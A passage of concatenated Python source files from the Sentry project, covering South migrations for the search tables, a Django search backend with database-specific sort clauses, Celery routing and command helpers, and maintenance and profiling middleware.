            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"})
        },
        u'sentry.group': {
            'Meta': {'unique_together': "(('project', 'checksum'),)", 'object_name': 'Group', 'db_table': "'sentry_groupedmessage'"},
            'active_at': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'db_index': 'True'}),
            'checksum': ('django.db.models.fields.CharField', [], {'max_length': '32', 'db_index': 'True'}),
            'culprit': ('django.db.models.fields.CharField', [], {'max_length': '200', 'null': 'True', 'db_column': "'view'", 'blank': 'True'}),
            'data': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
            'first_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'is_public': ('django.db.models.fields.NullBooleanField', [], {'default': 'False', 'null': 'True', 'blank': 'True'}),
            'last_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'}),
            'level': ('django.db.models.fields.PositiveIntegerField', [], {'default': '40', 'db_index': 'True', 'blank': 'True'}),
            'logger': ('django.db.models.fields.CharField', [], {'default': "'root'", 'max_length': '64', 'db_index': 'True', 'blank': 'True'}),
            'message': ('django.db.models.fields.TextField', [], {}),
            'num_comments': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'null': 'True'}),
            'platform': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'resolved_at': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'db_index': 'True'}),
            'score': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'status': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'db_index': 'True'}),
            'time_spent_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'time_spent_total': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'times_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1', 'db_index': 'True'})
        },
        u'sentry.groupbookmark': {
            'Meta': {'unique_together': "(('project', 'user', 'group'),)", 'object_name': 'GroupBookmark'},
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'bookmark_set'", 'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'bookmark_set'", 'to': u"orm['sentry.Project']"}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'sentry_bookmark_set'", 'to': u"orm['sentry.User']"})
        },
        u'sentry.groupcountbyminute': {
            'Meta': {'unique_together': "(('project', 'group', 'date'),)", 'object_name': 'GroupCountByMinute', 'db_table': "'sentry_messagecountbyminute'"},
            'date': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'time_spent_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'time_spent_total': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'times_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
        },
        u'sentry.groupmeta': {
            'Meta': {'unique_together': "(('group', 'key'),)", 'object_name': 'GroupMeta'},
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'value': ('django.db.models.fields.TextField', [], {})
        },
        u'sentry.groupseen': {
            'Meta': {'unique_together': "(('user', 'group'),)", 'object_name': 'GroupSeen'},
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'last_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.User']", 'db_index': 'False'})
        },
        u'sentry.grouptag': {
            'Meta': {'unique_together': "(('project', 'key', 'value', 'group'),)", 'object_name': 'GroupTag', 'db_table': "'sentry_messagefiltervalue'"},
            'first_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'True', 'db_index': 'True'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'last_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'True', 'db_index': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'times_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
            'value': ('django.db.models.fields.CharField', [], {'max_length': '200'})
        },
        u'sentry.grouptagkey': {
            'Meta': {'unique_together': "(('project', 'group', 'key'),)", 'object_name': 'GroupTagKey'},
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'values_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
        },
        u'sentry.lostpasswordhash': {
            'Meta': {'object_name': 'LostPasswordHash'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'hash': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.User']", 'unique': 'True'})
        },
        u'sentry.option': {
            'Meta': {'object_name': 'Option'},
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '64'}),
            'value': ('picklefield.fields.PickledObjectField', [], {})
        },
        u'sentry.pendingteammember': {
            'Meta': {'unique_together': "(('team', 'email'),)", 'object_name': 'PendingTeamMember'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'team': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'pending_member_set'", 'to': u"orm['sentry.Team']"}),
            'type': ('django.db.models.fields.IntegerField', [], {'default': '50'})
        },
        u'sentry.project': {
            'Meta': {'unique_together': "(('team', 'slug'),)", 'object_name': 'Project'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
            'owner': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'sentry_owned_project_set'", 'null': 'True', 'to': u"orm['sentry.User']"}),
            'platform': ('django.db.models.fields.CharField', [], {'max_length': '32', 'null': 'True'}),
            'public': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50', 'null': 'True'}),
            'status': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0', 'db_index': 'True'}),
            'team': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Team']", 'null': 'True'})
        },
        u'sentry.projectcountbyminute': {
            'Meta': {'unique_together': "(('project', 'date'),)", 'object_name': 'ProjectCountByMinute'},
            'date': ('django.db.models.fields.DateTimeField', [], {}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'time_spent_count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'time_spent_total': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
            'times_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
        },
        u'sentry.projectkey': {
            'Meta': {'object_name': 'ProjectKey'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'True'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'key_set'", 'to': u"orm['sentry.Project']"}),
            'public_key': ('django.db.models.fields.CharField', [], {'max_length': '32', 'unique': 'True', 'null': 'True'}),
            'secret_key': ('django.db.models.fields.CharField', [], {'max_length': '32', 'unique': 'True', 'null': 'True'}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.User']", 'null': 'True'}),
            'user_added': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'keys_added_set'", 'null': 'True', 'to': u"orm['sentry.User']"})
        },
        u'sentry.projectoption': {
            'Meta': {'unique_together': "(('project', 'key'),)", 'object_name': 'ProjectOption', 'db_table': "'sentry_projectoptions'"},
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"}),
            'value': ('picklefield.fields.PickledObjectField', [], {})
        },
        u'sentry.tagkey': {
            'Meta': {'unique_together': "(('project', 'key'),)", 'object_name': 'TagKey', 'db_table': "'sentry_filterkey'"},
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'label': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"}),
            'values_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})
        },
        u'sentry.tagvalue': {
            'Meta': {'unique_together': "(('project', 'key', 'value'),)", 'object_name': 'TagValue', 'db_table': "'sentry_filtervalue'"},
            'data': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
            'first_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'True', 'db_index': 'True'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'last_seen': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'True', 'db_index': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'times_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
            'value': ('django.db.models.fields.CharField', [], {'max_length': '200'})
        },
        u'sentry.team': {
            'Meta': {'object_name': 'Team'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'True'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'members': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'team_memberships'", 'symmetrical': 'False', 'through': u"orm['sentry.TeamMember']", 'to': u"orm['sentry.User']"}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'owner': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.User']"}),
            'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'})
        },
        u'sentry.teammember': {
            'Meta': {'unique_together': "(('team', 'user'),)", 'object_name': 'TeamMember'},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'team': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'member_set'", 'to': u"orm['sentry.Team']"}),
            'type': ('django.db.models.fields.IntegerField', [], {'default': '50'}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'sentry_teammember_set'", 'to': u"orm['sentry.User']"})
        },
        u'sentry.useroption': {
            'Meta': {'unique_together': "(('user', 'project', 'key'),)", 'object_name': 'UserOption'},
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'key': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']", 'null': 'True'}),
            'user': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.User']"}),
            'value': ('picklefield.fields.PickledObjectField', [], {})
        },
        u'search.searchdocument': {
            'Meta': {'unique_together': "(('project', 'group'),)", 'object_name': 'SearchDocument', 'db_table': "'sentry_searchdocument'"},
            'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'date_changed': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'group': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Group']"}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'project': ('sentry.db.models.fields.FlexibleForeignKey', [], {'to': u"orm['sentry.Project']"}),
            'status': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
            'total_events': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1'})
        },
        u'search.searchtoken': {
            'Meta': {'unique_together': "(('document', 'field', 'token'),)", 'object_name': 'SearchToken', 'db_table': "'sentry_searchtoken'"},
            'document': ('sentry.db.models.fields.FlexibleForeignKey', [], {'related_name': "'token_set'", 'to': u"orm['search.SearchDocument']"}),
            'field': ('django.db.models.fields.CharField', [], {'default': "'text'", 'max_length': '64'}),
            'id': ('sentry.db.models.fields.bounded.BoundedBigAutoField', [], {'primary_key': 'True'}),
            'times_seen': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1'}),
            'token': ('django.db.models.fields.CharField', [], {'max_length': '128'})
        },
    }
    complete_apps = ['sentry', 'search']












# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models


class Migration(SchemaMigration):

    def forwards(self, orm):
        # Removing unique constraint on 'SearchDocument', fields ['project', 'group']
        db.delete_unique('sentry_searchdocument', ['project_id', 'group_id'])

        # Removing unique constraint on 'SearchToken', fields ['document', 'field', 'token']
        db.delete_unique('sentry_searchtoken', ['document_id', 'field', 'token'])

        # Deleting model 'SearchToken'
        db.delete_table('sentry_searchtoken')

        # Deleting model 'SearchDocument'
        db.delete_table('sentry_searchdocument')


    def backwards(self, orm):
        # Adding model 'SearchToken'
        db.create_table('sentry_searchtoken', (
            ('times_seen', self.gf('django.db.models.fields.PositiveIntegerField')(default=1)),
            ('field', self.gf('django.db.models.fields.CharField')(default='text', max_length=64)),
            ('token', self.gf('django.db.models.fields.CharField')(max_length=128)),
            ('document', self.gf('sentry.db.models.fields.FlexibleForeignKey')(related_name='token_set', to=orm['search.SearchDocument'])),
            ('id', self.gf('sentry.db.models.fields.bounded.BoundedBigAutoField')(primary_key=True)),
        ))
        db.send_create_signal(u'search', ['SearchToken'])

        # Adding unique constraint on 'SearchToken', fields ['document', 'field', 'token']
        db.create_unique('sentry_searchtoken', ['document_id', 'field', 'token'])

        # Adding model 'SearchDocument'
        db.create_table('sentry_searchdocument', (
            ('project', self.gf('sentry.db.models.fields.FlexibleForeignKey')(to=orm['sentry.Project'])),
            ('status', self.gf('django.db.models.fields.PositiveIntegerField')(default=0)),
            ('total_events', self.gf('django.db.models.fields.PositiveIntegerField')(default=1)),
            ('group', self.gf('sentry.db.models.fields.FlexibleForeignKey')(to=orm['sentry.Group'])),
            ('date_changed', self.gf('django.db.models.fields.DateTimeField')(default=datetime.datetime.now)),
            ('date_added', self.gf('django.db.models.fields.DateTimeField')(default=datetime.datetime.now)),
            ('id', self.gf('sentry.db.models.fields.bounded.BoundedBigAutoField')(primary_key=True)),
        ))
        db.send_create_signal(u'search', ['SearchDocument'])

        # Adding unique constraint on 'SearchDocument', fields ['project', 'group']
        db.create_unique('sentry_searchdocument', ['project_id', 'group_id'])


    models = {
        
    }

    complete_apps = ['search']





"""
sentry.search.django.backend
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six

from django.db import router
from django.db.models import Q

from sentry.api.paginator import DateTimePaginator, Paginator
from sentry.search.base import ANY, SearchBackend
from sentry.search.django.constants import (
    SORT_CLAUSES, SQLITE_SORT_CLAUSES, MYSQL_SORT_CLAUSES, MSSQL_SORT_CLAUSES,
    MSSQL_ENGINES, ORACLE_SORT_CLAUSES
)
from sentry.utils.db import get_db_engine


class DjangoSearchBackend(SearchBackend):
    def _tags_to_filter(self, project, tags):
        # Django doesnt support union, so we limit results and try to find
        # reasonable matches
        from sentry.models import GroupTagValue

        # ANY matches should come last since they're the least specific and
        # will provide the largest range of matches
        tag_lookups = sorted(six.iteritems(tags), key=lambda x: x != ANY)

        # get initial matches to start the filter
        matches = None

        # for each remaining tag, find matches contained in our
        # existing set, pruning it down each iteration
        for k, v in tag_lookups:
            if v != ANY:
                base_qs = GroupTagValue.objects.filter(
                    key=k,
                    value=v,
                    project=project,
                )
            else:
                base_qs = GroupTagValue.objects.filter(
                    key=k,
                    project=project,
                ).distinct()

            if matches:
                base_qs = base_qs.filter(group_id__in=matches)

            matches = list(base_qs.values_list('group_id', flat=True)[:1000])
            if not matches:
                return None
        return matches

    def query(self, project, query=None, status=None, tags=None,
              bookmarked_by=None, assigned_to=None, first_release=None,
              sort_by='date', unassigned=None,
              age_from=None, age_from_inclusive=True,
              age_to=None, age_to_inclusive=True,
              date_from=None, date_from_inclusive=True,
              date_to=None, date_to_inclusive=True,
              cursor=None, limit=100):
        from sentry.models import Event, Group, GroupStatus

        engine = get_db_engine('default')

        queryset = Group.objects.filter(project=project)
        if query:
            # TODO(dcramer): if we want to continue to support search on SQL
            # we should at least optimize this in Postgres so that it does
            # the query filter **after** the index filters, and restricts the
            # result set
            queryset = queryset.filter(
                Q(message__icontains=query) |
                Q(culprit__icontains=query)
            )

        if status is None:
            queryset = queryset.exclude(
                status__in=(
                    GroupStatus.PENDING_DELETION,
                    GroupStatus.DELETION_IN_PROGRESS,
                    GroupStatus.PENDING_MERGE,
                )
            )
        else:
            queryset = queryset.filter(status=status)

        if bookmarked_by:
            queryset = queryset.filter(
                bookmark_set__project=project,
                bookmark_set__user=bookmarked_by,
            )

        if assigned_to:
            queryset = queryset.filter(
                assignee_set__project=project,
                assignee_set__user=assigned_to,
            )
        elif unassigned in (True, False):
            queryset = queryset.filter(
                assignee_set__isnull=unassigned,
            )

        if first_release:
            queryset = queryset.filter(
                first_release__project=project,
                first_release__version=first_release,
            )

        if tags:
            matches = self._tags_to_filter(project, tags)
            if matches:
                queryset = queryset.filter(
                    id__in=matches,
                )
            else:
                queryset = queryset.none()

        if age_from or age_to:
            params = {}
            if age_from:
                if age_from_inclusive:
                    params['first_seen__gte'] = age_from
                else:
                    params['first_seen__gt'] = age_from
            if age_to:
                if age_to_inclusive:
                    params['first_seen__lte'] = age_to
                else:
                    params['first_seen__lt'] = age_to
            queryset = queryset.filter(**params)

        if date_from or date_to:
            params = {
                'project_id': project.id,
            }
            if date_from:
                if date_from_inclusive:
                    params['datetime__gte'] = date_from
                else:
                    params['datetime__gt'] = date_from
            if date_to:
                if date_to_inclusive:
                    params['datetime__lte'] = date_to
                else:
                    params['datetime__lt'] = date_to

            event_queryset = Event.objects.filter(**params)
            # limit to the first 1000 results
            group_ids = event_queryset.distinct().values_list(
                'group_id',
                flat=True
            )[:1000]

            # if Event is not on the primary database remove Django's
            # implicit subquery by coercing to a list
            base = router.db_for_read(Group)
            using = router.db_for_read(Event)
            # MySQL also cannot do a LIMIT inside of a subquery
            if base != using or engine.startswith('mysql'):
                group_ids = list(group_ids)

            queryset = queryset.filter(
                id__in=group_ids,
            )

        if engine.startswith('sqlite'):
            score_clause = SQLITE_SORT_CLAUSES[sort_by]
        elif engine.startswith('mysql'):
            score_clause = MYSQL_SORT_CLAUSES[sort_by]
        elif engine.startswith('oracle'):
            score_clause = ORACLE_SORT_CLAUSES[sort_by]
        elif engine in MSSQL_ENGINES:
            score_clause = MSSQL_SORT_CLAUSES[sort_by]
        else:
            score_clause = SORT_CLAUSES[sort_by]

        queryset = queryset.extra(
            select={'sort_value': score_clause},
        )

        # HACK: don't sort by the same column twice
        if sort_by == 'date':
            paginator_cls = DateTimePaginator
            sort_clause = '-last_seen'
        elif sort_by == 'priority':
            paginator_cls = Paginator
            sort_clause = '-score'
        elif sort_by == 'new':
            paginator_cls = DateTimePaginator
            sort_clause = '-first_seen'
        elif sort_by == 'freq':
            paginator_cls = Paginator
            sort_clause = '-times_seen'
        else:
            paginator_cls = Paginator
            sort_clause = '-sort_value'

        queryset = queryset.order_by(sort_clause)

        paginator = paginator_cls(queryset, sort_clause)
        return paginator.get_result(limit, cursor)






"""
sentry.search.django.constants
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import


SORT_CLAUSES = {
    'priority': 'sentry_groupedmessage.score',
    'date': 'EXTRACT(EPOCH FROM sentry_groupedmessage.last_seen)::int',
    'new': 'EXTRACT(EPOCH FROM sentry_groupedmessage.first_seen)::int',
    'freq': 'sentry_groupedmessage.times_seen',
}

SQLITE_SORT_CLAUSES = SORT_CLAUSES.copy()
SQLITE_SORT_CLAUSES.update({
    'date': "cast((julianday(sentry_groupedmessage.last_seen) - 2440587.5) * 86400.0 as INTEGER)",
    'new': "cast((julianday(sentry_groupedmessage.first_seen) - 2440587.5) * 86400.0 as INTEGER)",
})

MYSQL_SORT_CLAUSES = SORT_CLAUSES.copy()
MYSQL_SORT_CLAUSES.update({
    'date': 'UNIX_TIMESTAMP(sentry_groupedmessage.last_seen)',
    'new': 'UNIX_TIMESTAMP(sentry_groupedmessage.first_seen)',
})

ORACLE_SORT_CLAUSES = SORT_CLAUSES.copy()
ORACLE_SORT_CLAUSES.update({
    'date': "(cast(sentry_groupedmessage.last_seen as date)-TO_DATE('01/01/1970 00:00:00', 'MM-DD-YYYY HH24:MI:SS')) * 24 * 60 * 60",
    'new': "(cast(sentry_groupedmessage.first_seen as date)-TO_DATE('01/01/1970 00:00:00', 'MM-DD-YYYY HH24:MI:SS')) * 24 * 60 * 60",
})

MSSQL_SORT_CLAUSES = SORT_CLAUSES.copy()
MSSQL_SORT_CLAUSES.update({
    'date': "DATEDIFF(s, '1970-01-01T00:00:00', sentry_groupedmessage.last_seen)",
    'new': "DATEDIFF(s, '1970-01-01T00:00:00', sentry_groupedmessage.first_seen)",
})
MSSQL_ENGINES = set(['django_pytds', 'sqlserver_ado', 'sql_server.pyodbc'])






"""
sentry.search.django
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from .backend import *  # NOQA






from __future__ import absolute_import

import itertools
import six

from celery import current_app


COUNTER_TASKS = set([
    'sentry.tasks.process_buffer.process_pending',
    'sentry.tasks.process_buffer.process_incr',
])

TRIGGER_TASKS = set([
    'sentry.tasks.post_process.post_process_group',
    'sentry.tasks.post_process.plugin_post_process_group',
    'sentry.tasks.post_process.record_affected_user',
    'sentry.tasks.post_process.record_affected_code',
])


class SplitQueueRouter(object):
    def __init__(self):
        queues = current_app.conf['CELERY_QUEUES']
        self.counter_queues = itertools.cycle([
            q.name for q in queues
            if q.name.startswith('counters-')
        ])

        self.trigger_queues = itertools.cycle([
            q.name for q in queues
            if q.name.startswith('triggers-')
        ])

    def route_for_task(self, task, *args, **kwargs):
        if task in COUNTER_TASKS:
            return {'queue': six.next(self.counter_queues)}
        if task in TRIGGER_TASKS:
            return {'queue': six.next(self.trigger_queues)}
        return None






from __future__ import absolute_import

import celery
import os
import sys

from django.core.management.base import BaseCommand


class CeleryCommand(BaseCommand):
    options = BaseCommand.option_list
    skip_opts = ['--app', '--loader', '--config']
    keep_base_opts = False

    def get_version(self):
        return 'celery %s' % (celery.__version__)

    def execute(self, *args, **options):
        broker = options.get('broker')
        if broker:
            self.set_broker(broker)
        super(CeleryCommand, self).execute(*args, **options)

    def set_broker(self, broker):
        os.environ['CELERY_BROKER_URL'] = broker

    def run_from_argv(self, argv):
        self.handle_default_options(argv[2:])
        return super(CeleryCommand, self).run_from_argv(argv)

    def handle_default_options(self, argv):
        acc = []
        broker = None
        for i, arg in enumerate(argv):
            if '--settings=' in arg:
                _, settings_module = arg.split('=')
                os.environ['DJANGO_SETTINGS_MODULE'] = settings_module
            elif '--pythonpath=' in arg:
                _, pythonpath = arg.split('=')
                sys.path.insert(0, pythonpath)
            elif '--broker=' in arg:
                _, broker = arg.split('=')
            elif arg == '-b':
                broker = argv[i + 1]
            else:
                acc.append(arg)
        if broker:
            self.set_broker(broker)
        return argv if self.keep_base_opts else acc

    def die(self, msg):
        sys.stderr.write(msg)
        sys.stderr.write('\n')
        sys.exit()

    @property
    def option_list(self):
        return [x for x in self.options
                if x._long_opts[0] not in self.skip_opts]






from __future__ import absolute_import






"""
sentry.middleware.maintenance
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging

from django.conf import settings
from django.http import HttpResponse

logger = logging.getLogger('sentry.errors')


DB_ERRORS = []

try:
    import MySQLdb
except ImportError:
    pass
else:
    DB_ERRORS.append(MySQLdb.OperationalError)

try:
    import psycopg2
except ImportError:
    pass
else:
    DB_ERRORS.append(psycopg2.OperationalError)

DB_ERRORS = tuple(DB_ERRORS)


class ServicesUnavailableMiddleware(object):
    def process_request(self, request):
        if settings.MAINTENANCE:
            return HttpResponse('Sentry is currently in maintenance mode', status=503)

    def process_exception(self, request, exception):
        if isinstance(exception, DB_ERRORS):
            logger.exception('Fatal error returned from database')
            return HttpResponse('Sentry is currently in maintenance mode', status=503)






# Orignal version taken from http://www.djangosnippets.org/snippets/186/
# Original author: udfalkso
# Modified by: Shwagroo Team and Gun.io
from __future__ import absolute_import

import cProfile
import re
import pstats
import six
import sys

from django.conf import settings
from django.http import HttpResponse
from six import StringIO


words_re = re.compile(r'\s+')

group_prefix_re = [
    re.compile(r"^.*/django/[^/]+"),
    re.compile(r"^(.*)/[^/]+$"),  # extract module path
    re.compile(r".*"),   # catch strange entries
]


class ProfileMiddleware(object):
    """
    Displays hotshot profiling for any view.
    http://yoursite.com/yourview/?prof

    Add the "prof" key to query string by appending ?prof (or &prof=)
    and you'll see the profiling results in your browser.
    It's set up to only be available in django's debug mode, is available for superuser otherwise,
    but you really shouldn't add this middleware to any production configuration.

    WARNING: It uses hotshot profiler which is not thread safe.
    """
    def can(self, request):
        if 'prof' not in request.GET:
            return False
        if settings.DEBUG:
            return True
        if request.is_superuser():
            return True
        return False

    def process_view(self, request, callback, callback_args, callback_kwargs):
        if not self.can(request):
            return
        self.prof = cProfile.Profile()

        return self.prof.runcall(callback, request, *callback_args, **callback_kwargs)

    def get_group(self, filename):
        for g in group_prefix_re:
            name = g.findall(filename)
            if name:
                return name[0]

    def get_summary(self, results_dict, total):
        results = [(item[1], item[0]) for item in six.iteritems(results_dict)]
        results.sort(reverse=True)
        results = results[:40]

        res = "      tottime\n"
        for item in results:
            res += "%4.1f%% %7.3f %s\n" % (100 * item[0] / total if total else 0, item[0], item[1])

        return res

    def normalize_paths(self, stats):
        import os.path
        from pstats import add_func_stats, func_std_string

        python_paths = sorted(sys.path, reverse=True)

        def rel_filename(filename):
            for path in python_paths:
                if filename.startswith(path):
                    return filename[len(path) + 1:]
            return os.path.basename(filename)

        def func_strip_path(func_name):
            filename, line, name = func_name
            return rel_filename(filename), line, name

        oldstats = stats.stats
        stats.stats = newstats = {}
        max_name_len = 0
        for func, (cc, nc, tt, ct, callers) in six.iteritems(oldstats):
            newfunc = func_strip_path(func)
            if len(func_std_string(newfunc)) > max_name_len:
                max_name_len = len(func_std_string(newfunc))
            newcallers = {}
            for func2, caller in six.iteritems(callers):
                newcallers[func_strip_path(func2)] = caller

            if newfunc in newstats:
                newstats[newfunc] = add_func_stats(
                    newstats[newfunc],
                    (cc, nc, tt, ct, newcallers))
            else:
